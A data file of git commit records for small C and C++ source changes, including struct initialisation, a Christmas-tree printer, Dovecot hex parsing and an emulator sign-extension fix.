{"commit":"12e777affa9dc0a5a7b9616a2f007ddc90e0e3f1","old_file":"SSPSolution\/AIDLL\/AIComponent.h","new_file":"SSPSolution\/AIDLL\/AIComponent.h","old_contents":"#ifndef AIDLL_AI_AICOMPONENT_H\n#define AIDLL_AI_AICOMPONENT_H\n\n#include <DirectXMath.h>\nenum Pattern : int\n{\n\tAI_LINEAR = 1,\n\tAI_CIRCULAR,\n\tAI_ROUNTRIP,\n\tAI_RANDOM,\n\tAI_NONE = -1\n};\n__declspec(align(16)) struct AIComponent\n{\n\t\/\/ System variables\n\tint AP_active = 0;\n\tint AP_entityID = -1;\n\n\t\/\/ AI variables\n\tbool AP_triggered;\t\t\t\/\/ Trigger handling\n\tint AP_time;\t\t\t\t\/\/ How long the component is active\n\n\tfloat AP_speed;\t\t\t\t\/\/ Movement speed\n\tDirectX::XMVECTOR AP_dir;\t\/\/ Normalised direction vector\n\n\tDirectX::XMVECTOR AP_position;\/\/ Current position\n\tint AP_pattern;\t\t\t\t\/\/ Traversing of waypoints\n\tint AP_direction;\t\t\t\/\/ Direction in array, might be removed due to AP_pattern's existance\n\tint AP_nextWaypointID;\t\t\/\/ Index to next waypoint \n\tint AP_latestWaypointID;\t\/\/ Index to latest visited waypoint\n\tint AP_nrOfWaypoint;\t\t\/\/ Nr of waypoints used in array\n\n\tDirectX::XMVECTOR AP_waypoints[8];\n\n\tvoid* operator new(size_t i) { return _aligned_malloc(i, 16); };\n\tvoid operator delete(void* p) { _aligned_free(p); };\n};\n\n#endif","new_contents":"#ifndef AIDLL_AI_AICOMPONENT_H\n#define AIDLL_AI_AICOMPONENT_H\n\n#include <DirectXMath.h>\nenum Pattern : int\n{\n\tAI_LINEAR = 1,\n\tAI_CIRCULAR,\n\tAI_ROUNTRIP,\n\tAI_RANDOM,\n\tAI_NONE = -1\n};\n__declspec(align(16)) struct AIComponent\n{\n\t\/\/ System variables\n\tint AP_active = 0;\n\tint AP_entityID = -1;\n\n\t\/\/ AI variables\n\tbool AP_triggered = false;\t\/\/ Trigger handling\n\tint AP_time = 0;\t\t\t\/\/ How long the component is active\n\n\tfloat AP_speed = 0;\t\t\t\/\/ Movement speed\n\tDirectX::XMVECTOR AP_dir = DirectX::XMVECTOR();\/\/ Normalised direction vector\n\n\tDirectX::XMVECTOR AP_position = DirectX::XMVECTOR();\/\/ Current position\n\tint AP_pattern = AI_NONE;\t\/\/ Traversing of waypoints\n\tint AP_direction = 0;\t\t\/\/ Direction in array, might be removed due to AP_pattern's existance\n\tint AP_nextWaypointID = 0;\t\/\/ Index to next waypoint \n\tint AP_latestWaypointID = 1;\/\/ Index to latest visited waypoint\n\tint AP_nrOfWaypoint = 0;\t\/\/ Nr of waypoints used in array\n\n\tDirectX::XMVECTOR AP_waypoints[8];\n\n\tvoid* operator new(size_t i) { return _aligned_malloc(i, 16); };\n\tvoid operator delete(void* p) { _aligned_free(p); };\n};\n\n#endif","subject":"UPDATE AIComp struct to initiate all variables except array","message":"UPDATE AIComp struct to initiate all variables except array\n","lang":"C","license":"apache-2.0","repos":"Chringo\/SSP,Chringo\/SSP"}
{"commit":"228ad56ee9f8e07cc2b81290d9fb081e36c10c55","old_file":"libhostile\/hostile.h","new_file":"libhostile\/hostile.h","old_contents":"\/*  vim:expandtab:shiftwidth=2:tabstop=2:smarttab:\n * \n *  libhostile\n *\n *  Copyright (C) 2011 Data Differential, http:\/\/datadifferential.com\/\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License as published by the Free Software Foundation; either\n *  version 3 of the License, or (at your option) any later version.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n\n#pragma once\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#if defined(HAVE_LIBHOSTILE) && HAVE_LIBHOSTILE\nvoid set_recv_close(bool arg, int frequency, int not_until_arg);\n\nvoid set_send_close(bool arg, int frequency, int not_until_arg);\n#else\n\n#define set_recv_close(__arg, __frequency, __not_until_arg)\n#define set_send_close(__arg, __frequency, __not_until_arg)\n\n#endif\n\n#ifdef __cplusplus\n}\n#endif\n","new_contents":"\/*  vim:expandtab:shiftwidth=2:tabstop=2:smarttab:\n * \n *  libhostile\n *\n *  Copyright (C) 2011 Data Differential, http:\/\/datadifferential.com\/\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License as published by the Free Software Foundation; either\n *  version 3 of the License, or (at your option) any later version.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\n *  You should have received a copy of the GNU Lesser General Public\n *  License along with this library; if not, write to the Free Software\n *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n\n\n#pragma once\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nvoid set_recv_close(bool arg, int frequency, int not_until_arg);\n\nvoid set_send_close(bool arg, int frequency, int not_until_arg);\n\n#ifdef __cplusplus\n}\n#endif\n","subject":"Revert changes on .h file.","message":"Revert changes on .h file.\n","lang":"C","license":"bsd-3-clause","repos":"beeksiwaais\/gearmand,dm\/gearmand,dm\/gearmand,dm\/gearmand,beeksiwaais\/gearmand,beeksiwaais\/gearmand,beeksiwaais\/gearmand,dm\/gearmand"}
{"commit":"45952868429c278087b68d0e0e96f33ec70388fa","old_file":"webkit\/support\/webkit_support_gfx.h","new_file":"webkit\/support\/webkit_support_gfx.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_SUPPORT_WEBKIT_SUPPORT_GFX_H_\n#define WEBKIT_SUPPORT_WEBKIT_SUPPORT_GFX_H_\n\n#include <string>\n#include <vector>\n\n\/\/ TODO(darin): Remove once this #include has been upstreamed to ImageDiff.cpp.\n\/\/ ImageDiff.cpp expects that PATH_MAX has already been defined :-\/\n#include <limits.h>\n\nnamespace webkit_support {\n\n\/\/ Decode a PNG into an RGBA pixel array.\nbool DecodePNG(const unsigned char* input, size_t input_size,\n               std::vector<unsigned char>* output,\n               int* width, int* height);\n\n\/\/ Encode an RGBA pixel array into a PNG.\nbool EncodeRGBAPNG(const unsigned char* input,\n                   int width,\n                   int height,\n                   int row_byte_width,\n                   std::vector<unsigned char>* output);\n\n\/\/ Encode an BGRA pixel array into a PNG.\nbool EncodeBGRAPNG(const unsigned char* input,\n                   int width,\n                   int height,\n                   int row_byte_width,\n                   bool discard_transparency,\n                   std::vector<unsigned char>* output);\n\nbool EncodeBGRAPNGWithChecksum(const unsigned char* input,\n                               int width,\n                               int height,\n                               int row_byte_width,\n                               bool discard_transparency,\n                               const std::string& checksum,\n                               std::vector<unsigned char>* output);\n\n}  \/\/ namespace webkit_support\n\n#endif  \/\/ WEBKIT_SUPPORT_WEBKIT_SUPPORT_GFX_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef WEBKIT_SUPPORT_WEBKIT_SUPPORT_GFX_H_\n#define WEBKIT_SUPPORT_WEBKIT_SUPPORT_GFX_H_\n\n#include <string>\n#include <vector>\n\nnamespace webkit_support {\n\n\/\/ Decode a PNG into an RGBA pixel array.\nbool DecodePNG(const unsigned char* input, size_t input_size,\n               std::vector<unsigned char>* output,\n               int* width, int* height);\n\n\/\/ Encode an RGBA pixel array into a PNG.\nbool EncodeRGBAPNG(const unsigned char* input,\n                   int width,\n                   int height,\n                   int row_byte_width,\n                   std::vector<unsigned char>* output);\n\n\/\/ Encode an BGRA pixel array into a PNG.\nbool EncodeBGRAPNG(const unsigned char* input,\n                   int width,\n                   int height,\n                   int row_byte_width,\n                   bool discard_transparency,\n                   std::vector<unsigned char>* output);\n\nbool EncodeBGRAPNGWithChecksum(const unsigned char* input,\n                               int width,\n                               int height,\n                               int row_byte_width,\n                               bool discard_transparency,\n                               const std::string& checksum,\n                               std::vector<unsigned char>* output);\n\n}  \/\/ namespace webkit_support\n\n#endif  \/\/ WEBKIT_SUPPORT_WEBKIT_SUPPORT_GFX_H_\n","subject":"Remove an include which has been upstreamed to ImageDiff.cpp.","message":"Remove an include which has been upstreamed to ImageDiff.cpp.\n\n\nBUG=none\nTEST=none\n\n\nReview URL: http:\/\/codereview.chromium.org\/8392031\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@107382 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"hgl888\/chromium-crosswalk-efl,anirudhSK\/chromium,crosswalk-project\/chromium-crosswalk-efl,littlstar\/chromium.src,keishi\/chromium,rogerwang\/chromium,fujunwei\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,jaruba\/chromium.src,mogoweb\/chromium-crosswalk,dednal\/chromium.src,bright-sparks\/chromium-spacewalk,Pluto-tv\/chromium-crosswalk,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,bright-sparks\/chromium-spacewalk,krieger-od\/nwjs_chromium.src,PeterWangIntel\/chromium-crosswalk,Fireblend\/chromium-crosswalk,ltilve\/chromium,hgl888\/chromium-crosswalk,keishi\/chromium,nacl-webkit\/chrome_deps,zcbenz\/cefode-chromium,keishi\/chromium,robclark\/chromium,mogoweb\/chromium-crosswalk,dednal\/chromium.src,M4sse\/chromium.src,timopulkkinen\/BubbleFish,M4sse\/chromium.src,keishi\/chromium,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,robclark\/chromium,axinging\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,zcbenz\/cefode-chromium,markYoungH\/chromium.src,Jonekee\/chromium.src,dushu1203\/chromium.src,Fireblend\/chromium-crosswalk,hujiajie\/pa-chromium,Just-D\/chromium-1,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,dednal\/chromium.src,M4sse\/chromium.src,Just-D\/chromium-1,Chilledheart\/chromium,junmin-zhu\/chromium-rivertrail,pozdnyakov\/chromium-crosswalk,patrickm\/chromium.src,zcbenz\/cefode-chromium,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,jaruba\/chromium.src,krieger-od\/nwjs_chromium.src,hujiajie\/pa-chromium,M4sse\/chromium.src,M4sse\/chromium.src,axinging\/chromium-crosswalk,Chilledheart\/chromium,krieger-od\/nwjs_chromium.src,zcbenz\/cefode-chromium,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,ondra-novak\/chromium.src,jaruba\/chromium.src,PeterWangIntel\/chromium-crosswalk,ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,ltilve\/chromium,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,axinging\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,nacl-webkit\/chrome_deps,axinging\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,rogerwang\/chromium,axinging\/chromium-crosswalk,Just-D\/chromium-1,zcbenz\/cefode-chromium,ChromiumWebApps\/chromium,chuan9\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,markYoungH\/chromium.src,chuan9\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Just-D\/chromium-1,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,markYoungH\/chromium.src,hujiajie\/pa-chromium,junmin-zhu\/chromium-rivertrail,hgl888\/chromium-crosswalk-efl,nacl-webkit\/chrome_deps,dednal\/chromium.src,chuan9\/chromium-crosswalk,littlstar\/chromium.src,chuan9\/chromium-crosswalk,keishi\/chromium,junmin-zhu\/chromium-rivertrail,mohamed--abdel-maksoud\/chromium.src,ChromiumWebApps\/chromium,Chilledheart\/chromium,jaruba\/chromium.src,dednal\/chromium.src,bright-sparks\/chromium-spacewalk,mogoweb\/chromium-crosswalk,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,Pluto-tv\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,dednal\/chromium.src,krieger-od\/nwjs_chromium.src,Pluto-tv\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Fireblend\/chromium-crosswalk,robclark\/chromium,dushu1203\/chromium.src,Chilledheart\/chromium,PeterWangIntel\/chromium-crosswalk,keishi\/chromium,timopulkkinen\/BubbleFish,ChromiumWebApps\/chromium,Fireblend\/chromium-crosswalk,keishi\/chromium,littlstar\/chromium.src,hujiajie\/pa-chromium,patrickm\/chromium.src,anirudhSK\/chromium,hgl888\/chromium-crosswalk,Just-D\/chromium-1,Just-D\/chromium-1,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,dednal\/chromium.src,jaruba\/chromium.src,markYoungH\/chromium.src,mogoweb\/chromium-crosswalk,Chilledheart\/chromium,timopulkkinen\/BubbleFish,markYoungH\/chromium.src,robclark\/chromium,crosswalk-project\/chromium-crosswalk-efl,anirudhSK\/chromium,dushu1203\/chromium.src,Chilledheart\/chromium,jaruba\/chromium.src,Pluto-tv\/chromium-crosswalk,rogerwang\/chromium,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,junmin-zhu\/chromium-rivertrail,crosswalk-project\/chromium-crosswalk-efl,Jonekee\/chromium.src,Pluto-tv\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,ondra-novak\/chromium.src,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,jaruba\/chromium.src,hgl888\/chromium-crosswalk-efl,dushu1203\/chromium.src,robclark\/chromium,littlstar\/chromium.src,M4sse\/chromium.src,hgl888\/chromium-crosswalk-efl,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk,jaruba\/chromium.src,jaruba\/chromium.src,hgl888\/chromium-crosswalk,markYoungH\/chromium.src,rogerwang\/chromium,robclark\/chromium,junmin-zhu\/chromium-rivertrail,robclark\/chromium,zcbenz\/cefode-chromium,dushu1203\/chromium.src,zcbenz\/cefode-chromium,mohamed--abdel-maksoud\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,anirudhSK\/chromium,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk,axinging\/chromium-crosswalk,ChromiumWebApps\/chromium,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,mohamed--abdel-maksoud\/chromium.src,rogerwang\/chromium,hgl888\/chromium-crosswalk,dednal\/chromium.src,pozdnyakov\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,patrickm\/chromium.src,pozdnyakov\/chromium-crosswalk,nacl-webkit\/chrome_deps,hujiajie\/pa-chromium,crosswalk-project\/chromium-crosswalk-efl,littlstar\/chromium.src,jaruba\/chromium.src,axinging\/chromium-crosswalk,ChromiumWebApps\/chromium,crosswalk-project\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk,dednal\/chromium.src,Jonekee\/chromium.src,pozdnyakov\/chromium-crosswalk,axinging\/chromium-crosswalk,ondra-novak\/chromium.src,anirudhSK\/chromium,crosswalk-project\/chromium-crosswalk-efl,Jonekee\/chromium.src,ltilve\/chromium,patrickm\/chromium.src,keishi\/chromium,fujunwei\/chromium-crosswalk,timopulkkinen\/BubbleFish,Jonekee\/chromium.src,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk,fujunwei\/chromium-crosswalk,Jonekee\/chromium.src,ltilve\/chromium,littlstar\/chromium.src,timopulkkinen\/BubbleFish,crosswalk-project\/chromium-crosswalk-efl,rogerwang\/chromium,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,ltilve\/chromium,anirudhSK\/chromium,patrickm\/chromium.src,hujiajie\/pa-chromium,littlstar\/chromium.src,zcbenz\/cefode-chromium,bright-sparks\/chromium-spacewalk,anirudhSK\/chromium,patrickm\/chromium.src,Just-D\/chromium-1,fujunwei\/chromium-crosswalk,mogoweb\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,dushu1203\/chromium.src,pozdnyakov\/chromium-crosswalk,anirudhSK\/chromium,chuan9\/chromium-crosswalk,keishi\/chromium,ondra-novak\/chromium.src,nacl-webkit\/chrome_deps,timopulkkinen\/BubbleFish,rogerwang\/chromium,Jonekee\/chromium.src,mogoweb\/chromium-crosswalk,dednal\/chromium.src,markYoungH\/chromium.src,Just-D\/chromium-1,bright-sparks\/chromium-spacewalk,nacl-webkit\/chrome_deps,pozdnyakov\/chromium-crosswalk,ondra-novak\/chromium.src,timopulkkinen\/BubbleFish,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,mogoweb\/chromium-crosswalk,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,robclark\/chromium,ondra-novak\/chromium.src,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,dushu1203\/chromium.src,Fireblend\/chromium-crosswalk,ondra-novak\/chromium.src,nacl-webkit\/chrome_deps,dushu1203\/chromium.src,fujunwei\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,rogerwang\/chromium,chuan9\/chromium-crosswalk,Jonekee\/chromium.src,markYoungH\/chromium.src,Jonekee\/chromium.src,dushu1203\/chromium.src,ltilve\/chromium,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk-efl,ltilve\/chromium,bright-sparks\/chromium-spacewalk,mogoweb\/chromium-crosswalk,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk,hujiajie\/pa-chromium,Fireblend\/chromium-crosswalk,ChromiumWebApps\/chromium,jaruba\/chromium.src,hgl888\/chromium-crosswalk-efl,nacl-webkit\/chrome_deps,rogerwang\/chromium,Just-D\/chromium-1,axinging\/chromium-crosswalk,robclark\/chromium,mohamed--abdel-maksoud\/chromium.src,hujiajie\/pa-chromium,robclark\/chromium,TheTypoMaster\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,M4sse\/chromium.src,M4sse\/chromium.src,nacl-webkit\/chrome_deps,mogoweb\/chromium-crosswalk,anirudhSK\/chromium,Fireblend\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,junmin-zhu\/chromium-rivertrail,junmin-zhu\/chromium-rivertrail,TheTypoMaster\/chromium-crosswalk,Chilledheart\/chromium,zcbenz\/cefode-chromium,PeterWangIntel\/chromium-crosswalk,rogerwang\/chromium,anirudhSK\/chromium,ChromiumWebApps\/chromium,pozdnyakov\/chromium-crosswalk,Chilledheart\/chromium,littlstar\/chromium.src,ChromiumWebApps\/chromium,chuan9\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk,dushu1203\/chromium.src,hujiajie\/pa-chromium,junmin-zhu\/chromium-rivertrail,ondra-novak\/chromium.src,axinging\/chromium-crosswalk,patrickm\/chromium.src,axinging\/chromium-crosswalk,timopulkkinen\/BubbleFish,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,krieger-od\/nwjs_chromium.src,ltilve\/chromium,keishi\/chromium,ChromiumWebApps\/chromium,mogoweb\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,M4sse\/chromium.src,keishi\/chromium,krieger-od\/nwjs_chromium.src,TheTypoMaster\/chromium-crosswalk,hujiajie\/pa-chromium,timopulkkinen\/BubbleFish,patrickm\/chromium.src,M4sse\/chromium.src,mohamed--abdel-maksoud\/chromium.src,pozdnyakov\/chromium-crosswalk"}
{"commit":"3afa50dec22e049ab56862b5a16412aec4e79dba","old_file":"xmas3.c","new_file":"xmas3.c","old_contents":"\/*Build: gcc -std=c99 -o xmas3 xmas3.c*\/\n#include <stdlib.h>\n#include <stdio.h>\n\nint print_tree(int length)\n{\n    int i = 0, j = 0;\n\n    for (i = 0;i<length;i++)\n    {\n        for (j = 0;j<=i;j++)\n        {\n            printf(\"*\");\n        }\n        printf(\"\\n\");\n    }\n\n    return 0;\n}\n\nint main(int argc, char*argv[])\n{\n    if (argc != 2)\n    {\n        printf(\"USAGE: %s [length]\\n\", argv[0]);\n        exit(-1);\n    }\n\n    int length = atoi(argv[1]);\n\n    print_tree(length);\n\n    return 0;\n}\n\n","new_contents":"\/*Build: gcc -std=c99 -o xmas3 xmas3.c*\/\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\nvoid usage(char *argv0)\n{\n    printf(\"USAGE: %s [height] [half|full]\\n\", argv0);\n    exit(-1);\n}\n\nint print_tree(int height, char half)\n{\n    int i = 0, j = 0;\n\n    if (half) \/\/ Half tree\n    {\n        for (i = 0;i < height;i++)\n        {\n            for (j = 0;j <= i;j++)\n            {\n                printf(\"*\");\n            }\n            printf(\"\\n\");\n        }\n    }\n    else if (!half) \/\/ full tree\n    {\n        int max_width = 2 * (height - 1) + 1;\n\n        for (i = 0;i < height;i++)\n        {\n            int width = i + height;\n            for (j = 0;j < width;j++)\n            {\n                if (j < (height-1) - i)\n                    printf(\" \");\n                else\n                    printf(\"*\");\n            }\n            printf(\"\\n\");\n        }\n    }\n\n    return 0;\n}\n\nint main(int argc, char *argv[])\n{\n    if (argc != 3)\n        usage(argv[0]);\n\n    int height = atoi(argv[1]);\n\n    char half = -1;\n    if (!strncmp(\"half\", argv[2], sizeof 4))\n        half = 1;\n    else if(!strncmp(\"full\", argv[2], sizeof 4))\n        half = 0;\n    else\n        usage(argv[0]);\n\n    print_tree(height, half);\n\n    return 0;\n}\n\n","subject":"Add full\/half option for tree.","message":"Add full\/half option for tree.\n","lang":"C","license":"mit","repos":"svagionitis\/xmas-tree"}
{"commit":"7d789e8c0e04aca179ff1f65dfff0ebb3fd066ff","old_file":"src\/m1\/protocolo.h","new_file":"src\/m1\/protocolo.h","old_contents":"#define PORT 50000\n#define TIMEOUT 10;\n\nint waitforack(int sock);\nint sendack(int sock);\nint senderr(int sock, int ecode);\nint sendfin(int sock);\nint getsockfd();\nint releasesockfd(int sock);","new_contents":"#define PORT 6012\n#define TIMEOUT 10;\n\nint waitforack(int sock);\nint sendConnect(int sock);\nint sendack(int sock);\nint senderr(int sock, int ecode);\nint sendFile(int sock, char * file);\nint sendfin(int sock);\nint getsockfd();\nint releasesockfd(int sock);","subject":"Add missing sendFile function declaration","message":"Add missing sendFile function declaration\n","lang":"C","license":"agpl-3.0","repos":"MikelAlejoBR\/practica-sd1516"}
{"commit":"b239023198fbd527d8f3534d3e393e82213d3204","old_file":"src\/lib\/hex-dec.c","new_file":"src\/lib\/hex-dec.c","old_contents":"\/* Copyright (c) 2005-2011 Dovecot authors, see the included COPYING file *\/\n\n#include \"lib.h\"\n#include \"hex-dec.h\"\n\nvoid dec2hex(unsigned char *hexstr, uintmax_t dec, unsigned int hexstr_size)\n{\n\tunsigned int i;\n\n\tfor (i = 0; i < hexstr_size; i++) {\n\t\tunsigned int value = dec & 0x0f;\n\t\tif (value < 10)\n\t\t\thexstr[hexstr_size-i-1] = value + '0';\n\t\telse\n\t\t\thexstr[hexstr_size-i-1] = value - 10 + 'A';\n\t\tdec >>= 4;\n\t}\n}\n\nuintmax_t hex2dec(const unsigned char *data, unsigned int len)\n{\n\tunsigned int i;\n\tuintmax_t value = 0;\n\n\tfor (i = 0; i < len; i++) {\n\t\tvalue = value*0x10;\n\t\tif (data[i] >= '0' && data[i] <= '9')\n\t\t\tvalue += data[i]-'0';\n\t\telse if (data[i] >= 'A' && data[i] <= 'F')\n\t\t\tvalue += data[i]-'A' + 10;\n\t\telse\n\t\t\treturn 0;\n\t}\n\treturn value;\n}\n\n","new_contents":"\/* Copyright (c) 2005-2011 Dovecot authors, see the included COPYING file *\/\n\n#include \"lib.h\"\n#include \"hex-dec.h\"\n\nvoid dec2hex(unsigned char *hexstr, uintmax_t dec, unsigned int hexstr_size)\n{\n\tunsigned int i;\n\n\tfor (i = 0; i < hexstr_size; i++) {\n\t\tunsigned int value = dec & 0x0f;\n\t\tif (value < 10)\n\t\t\thexstr[hexstr_size-i-1] = value + '0';\n\t\telse\n\t\t\thexstr[hexstr_size-i-1] = value - 10 + 'A';\n\t\tdec >>= 4;\n\t}\n}\n\nuintmax_t hex2dec(const unsigned char *data, unsigned int len)\n{\n\tunsigned int i;\n\tuintmax_t value = 0;\n\n\tfor (i = 0; i < len; i++) {\n\t\tvalue = value*0x10;\n\t\tif (data[i] >= '0' && data[i] <= '9')\n\t\t\tvalue += data[i]-'0';\n\t\telse if (data[i] >= 'A' && data[i] <= 'F')\n\t\t\tvalue += data[i]-'A' + 10;\n\t\telse if (data[i] >= 'a' && data[i] <= 'f')\n\t\t\tvalue += data[i]-'a' + 10;\n\t\telse\n\t\t\treturn 0;\n\t}\n\treturn value;\n}\n\n","subject":"Allow data to contain also lowercase hex characters.","message":"hex2dec(): Allow data to contain also lowercase hex characters.\n","lang":"C","license":"mit","repos":"dscho\/dovecot,dscho\/dovecot,dscho\/dovecot,dscho\/dovecot,dscho\/dovecot"}
{"commit":"51889a9376cf256830db71764c72ef337e644094","old_file":"src\/CpuHelpers.h","new_file":"src\/CpuHelpers.h","old_contents":"#pragma once\n\n\/\/ This header mainly contains functions needed by both Cpu and Debugger\n\n#include \"Base.h\"\n\n\/\/ Convenience cast functions\ntemplate <typename T>\nconstexpr int16_t S16(T v) {\n    return static_cast<int16_t>(v);\n}\ntemplate <typename T>\nconstexpr uint16_t U16(T v) {\n    return static_cast<uint16_t>(v);\n}\ntemplate <typename T>\nconstexpr uint32_t U32(T v) {\n    return static_cast<uint32_t>(v);\n}\ntemplate <typename T>\nconstexpr uint8_t U8(T v) {\n    return static_cast<uint8_t>(v);\n}\n\/\/ Combine two 8-bit values into a 16-bit value\nconstexpr uint16_t CombineToU16(uint8_t msb, uint8_t lsb) {\n    return U16(msb) << 8 | U16(lsb);\n}\nconstexpr int16_t CombineToS16(uint8_t msb, uint8_t lsb) {\n    return static_cast<int16_t>(CombineToU16(msb, lsb));\n}\n","new_contents":"#pragma once\n\n\/\/ This header mainly contains functions needed by both Cpu and Debugger\n\n#include \"Base.h\"\n#include <type_traits>\n\n\/\/ Convenience cast functions\ntemplate <typename T>\nconstexpr int16_t S16(T v) {\n    return static_cast<int16_t>(static_cast<std::make_signed_t<T>>(v));\n}\ntemplate <typename T>\nconstexpr uint16_t U16(T v) {\n    return static_cast<uint16_t>(v);\n}\ntemplate <typename T>\nconstexpr uint32_t U32(T v) {\n    return static_cast<uint32_t>(v);\n}\ntemplate <typename T>\nconstexpr uint8_t U8(T v) {\n    return static_cast<uint8_t>(v);\n}\n\/\/ Combine two 8-bit values into a 16-bit value\nconstexpr uint16_t CombineToU16(uint8_t msb, uint8_t lsb) {\n    return U16(msb) << 8 | U16(lsb);\n}\nconstexpr int16_t CombineToS16(uint8_t msb, uint8_t lsb) {\n    return static_cast<int16_t>(CombineToU16(msb, lsb));\n}\n","subject":"Fix indexed mode instructions failing to add negative offset because value would not be correctly sign extended","message":"Cpu: Fix indexed mode instructions failing to add negative offset because value would not be correctly sign extended\n","lang":"C","license":"mit","repos":"amaiorano\/vectrexy,amaiorano\/vectrexy,amaiorano\/vectrexy"}
{"commit":"e4edb986c6acfb48e0d95b845bcdca75595f5308","old_file":"pevents.h","new_file":"pevents.h","old_contents":"#pragma once\n\n#include <pthread.h>\n#include <stdint.h>\n\nnamespace neosmart\n{\n\tstruct neosmart_event_t_;\n\ttypedef neosmart_event_t_ * neosmart_event_t;\n\t\n\tneosmart_event_t CreateEvent(bool manualReset = false, bool initialState = false);\n\tint DestroyEvent(neosmart_event_t event);\n\tint WaitForEvent(neosmart_event_t event, uint32_t milliseconds = -1);\n\tint SetEvent(neosmart_event_t event);\n\tint ResetEvent(neosmart_event_t event);\n}\n","new_contents":"#pragma once\n\n#include <pthread.h>\n#include <stdint.h>\n\nnamespace neosmart\n{\n    \/\/Type declarations\n\tstruct neosmart_event_t_;\n\ttypedef neosmart_event_t_ * neosmart_event_t;\n\t\n    \/\/WIN32-style pevent functions\n\tneosmart_event_t CreateEvent(bool manualReset = false, bool initialState = false);\n\tint DestroyEvent(neosmart_event_t event);\n\tint WaitForEvent(neosmart_event_t event, uint32_t milliseconds = -1);\n\tint SetEvent(neosmart_event_t event);\n\tint ResetEvent(neosmart_event_t event);\n    \n    \/\/posix-style functions\n    \/\/TBD\n}\n","subject":"Add posix-styled functions for using neosmart_event_t objects","message":"TBD: Add posix-styled functions for using neosmart_event_t objects\n","lang":"C","license":"mit","repos":"neosmart\/pevents,neosmart\/pevents"}
